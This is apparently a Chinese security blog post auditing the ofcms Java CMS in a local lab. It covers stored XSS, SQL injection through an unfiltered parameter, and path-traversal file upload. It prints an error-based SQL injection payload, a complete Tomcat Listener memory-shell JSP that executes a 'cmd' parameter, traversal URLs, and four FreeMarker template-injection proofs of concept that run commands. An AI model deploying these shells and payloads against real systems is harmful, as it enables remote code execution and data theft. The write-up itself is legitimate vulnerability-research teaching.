freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ofcms代码审计
2024-10-28 19:52:49
所属地 四川省

环境搭建

工具:IDEA 2024
jdk:1.8
maven:3.9
mysql:9.0community
tomcat:8.5

大致框架

ofcms-admin
    -admin
        -controller
        -domain
        -service
        -task
    -core
        -config
        -handler
        -interceptor
        -plugin
        -render
        -uitle
    -front
        -controller
        -template

ofcms-api
    -cms
        -api
        -service

ofmcs-core
    -core
        -annatation
        -api
        -method
        -route
        -spring
        -utils
        -validator

ofcms-front
    -page
        -front
            -blog
                -static

ofcms-model
    -model
        -base

这里主要还是分析of-admin的内容,搭建的是用的admin.war

审计目的

培养合适的审计思路

该次审计步骤

需要先去阅读文档,查看该cms拥有哪些功能点,哪些功能点存在漏洞的概率较高
然后先去盲测
接着深入代码,进行审计分析

我的审计过程

先去前台随便翻一翻

截屏2024-10-21 09.09.41.png

这里有个用户评论,随便测一下,发现是储存型xss

XSS

先去将前台的xss漏洞找到对应文件
全局搜索"评论",找到对应的js文件
在对应的文件
/Users/mac/check_code/java/ofcms-master/ofcms-admin/src/main/webapp/WEB-INF/page/default/article.html
找到了对应的传入的参数处理
${data.comment_content}
没有做任何转义,并将传入的内容返回到js中,造成了储存性xss

接下来接需要去寻找真正的java漏洞

sql篇

在全局搜索getPara,寻找参数
截屏2024-10-21 09.09.52.png

意外地发现有个sql参数
跟进

/Users/mac/check_code/java/ofcms-master/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

public void create() {  
       try {  
          String sql = getPara("sql");  
          Db.update(sql);  
          rendSuccessJson();  
       } catch (Exception e) {  
          e.printStackTrace();  
          rendFailedJson(ErrorCode.get("9999"), e.getMessage());  
       }  
    }  
}

在接受了sql参数后,没有经过过滤,直接进行update

public static int update(String sql) {  
    return MAIN.update(sql);  
}

就是调用到了update函数执行sql语句

利用update注入结合报错注入,可以达到注入的目的
但是需要知道table column
去数据库随便找到了of_cms_access 存在列site_id
故而payload

update of_cms_access set site_id=updatexml(1,concat(0x7e,(select  group_concat(schema_name) from information_schema.schemata),0x7e),1)

截屏2024-10-21 09.10.06.png

接着寻找其他是否依旧存在类似的sql注入
查看了其他的参数,多多少少都进行了字符串拼接,无法绕过

文件上传篇

在getTemplate有save相关操作

public void save() {  
    String resPath = getPara("res_path");  
    File pathFile = null;  
    if("res".equals(resPath)){  
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath());  
    }else {  
        pathFile = new File(SystemUtile.getSiteTemplatePath());  
    }  
    String dirName = getPara("dirs");  
    if (dirName != null) {  
        pathFile = new File(pathFile, dirName);  
    }  
    String fileName = getPara("file_name");  
    // 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。  
    String fileContent = getRequest().getParameter("file_content");  
    fileContent = fileContent.replace("<", "<").replace(">", ">");  
    File file = new File(pathFile, fileName);  
    FileUtils.writeString(file, fileContent);  
    rendSuccessJson();  
}
File file = new File(pathFile, fileName);  
FileUtils.writeString(file, fileContent);  

存在写入文件的操作
需要先观察他有哪些参数

res_path
dirs
file_name
file_content

根据测试,可以发现
file_name可以进行目录穿越然后文件上传
尝试目录穿越到/static目录下

构造

http://localhost:8081/ofcms_admin_war/admin/cms/template/save.html?file_name=../../../static/N11.jsp&file_content=

tomcat/webapp/of_cms_war/web_inf/static中,可以看到上传的N11.jsp

截屏2024-10-21 09.10.15.png

之后我尝试了上传tomcat的Listener内存马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
 
<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
 
    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

进行url编码后上传
访问对应目录,执行
截屏2024-10-21 09.10.24.png

成功rce

文件任意读取

搜索getTemplate
找到相应位置

ofcms-master/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

getTemplates函数是获取到

public void getTemplates() {
...

if (editFile != null) {  
    String fileContent = FileUtils.readString(editFile);  
if (fileContent != null) {  
        fileContent = fileContent.replace("<", "<").replace(">", ">");  
        setAttr("file_content", fileContent);  
        setAttr("file_path", editFile);  
    }  
...
}

说是文件任意读取,其实就是加载文件便于编辑
但是危害在于任意读取
收集参数

dir
up_dir
res_path
filename

但是在getTemplate函数中发现到一个白名单

public boolean accept(File file) {  
        return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")  
                || file.getName().endsWith(".css") || file.getName().endsWith(".js"));  
    }  
});

任意文件读取只能读取到

html
xml
css
js

构造payload

http://localhost:8081/ofcms_admin_war/admin/cms/template/getTemplates?filename=N11.html&dir=../../../static

截屏2024-10-21 09.14.17.png

模版注入

由于在后台
模版设置中可以设置index.html
可以进行freemarker模版注入
在index.html的文件头加入freemarker的模版注入的poc,再访问http://localhost:8081/ofcms_admin_war/index.html

freemarker

FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件

new

可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。
以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的freemarker.template.utility.JythonRuntimefreemarker.template.utility.Execute

API

value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod()或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。
但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。

POC1

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

POC2

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","/System/Applications/Calculator.app/Contents/MacOS/Calculator").start()}

POC3

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("/System/Applications/Calculator.app/Contents/MacOS/Calculator")

POC4

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator") }

反思与总结

在搭建环境的时候由于tomcat版本高了,和jdk的版本不匹配导致搭建环境很久,需要多试试切换不同版本的环境来尝试

由于java的基础漏洞的函数积累太少了,全局搜索的函数很有限,所以在积累危险函数的同时,可以从功能点开始审计

对于功能点的payload实践,刚开始找不到路径,可以看看文件头的路径设置

对于文件上传的文件位置,是储存在tomcat的webapp下的对应的文件里

对于复现文件上传时,别人都连接的冰蝎,需要去学习一下冰蝎的一句话木马,便于对抗不同的容器环境

# web安全 # Java代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者